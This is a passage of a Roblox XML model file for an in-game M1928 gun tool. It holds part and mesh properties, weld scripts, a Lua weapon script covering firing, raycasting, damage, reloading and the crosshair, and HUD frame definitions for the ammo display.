					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">BarrelClip</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>0.200000003</Y>
						<Z>0.319990754</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4738">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=116740155</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.899999976</X>
							<Y>0.899999976</Y>
							<Z>0.899999976</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
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							<Y>0</Y>
							<Z>0</Z>
							<R00>0.377652228</R00>
							<R01>-1.06015676e-008</R01>
							<R02>-0.925947487</R02>
							<R10>4.32696936e-008</R10>
							<R11>1</R11>
							<R12>6.19832718e-009</R12>
							<R20>0.925947487</R20>
							<R21>-4.24062776e-008</R21>
							<R22>0.377652228</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX4739</Ref>
						<Ref name="Part1">RBX4739</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX4897">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0.377652228</R00>
							<R01>-1.06015676e-008</R01>
							<R02>-0.925947487</R02>
							<R10>4.32696936e-008</R10>
							<R11>1</R11>
							<R12>6.19832718e-009</R12>
							<R20>0.925947487</R20>
							<R21>-4.24062776e-008</R21>
							<R22>0.377652228</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0.377652228</R00>
							<R01>-1.06015676e-008</R01>
							<R02>-0.925947487</R02>
							<R10>4.32696936e-008</R10>
							<R11>1</R11>
							<R12>6.19832718e-009</R12>
							<R20>0.925947487</R20>
							<R21>-4.24062776e-008</R21>
							<R22>0.377652228</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX4739</Ref>
						<Ref name="Part1">RBX4739</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX4898">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0.377652228</R00>
							<R01>-1.06015676e-008</R01>
							<R02>-0.925947487</R02>
							<R10>4.32696936e-008</R10>
							<R11>1</R11>
							<R12>6.19832718e-009</R12>
							<R20>0.925947487</R20>
							<R21>-4.24062776e-008</R21>
							<R22>0.377652228</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0.377652228</R00>
							<R01>-1.06015676e-008</R01>
							<R02>-0.925947487</R02>
							<R10>4.32696936e-008</R10>
							<R11>1</R11>
							<R12>6.19832718e-009</R12>
							<R20>0.925947487</R20>
							<R21>-4.24062776e-008</R21>
							<R22>0.377652228</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX4739</Ref>
						<Ref name="Part1">RBX4739</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX4899">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Welding</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4900">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4901">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">M1928</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 14
-- How many times per second the gun can fire
local FireRate = 1 / 13
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 400
-- In radians the minimum accuracy penalty
local MinSpread = 0.008
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 50
-- DefaultValue for spare ammo
local SpareAmmo = 500
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.013
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4902">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4903">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BackupWeld</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX4904">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX4905">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4906">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4907">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4908">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4909">
					<Properties>
						<bool name="Active">false</bool>
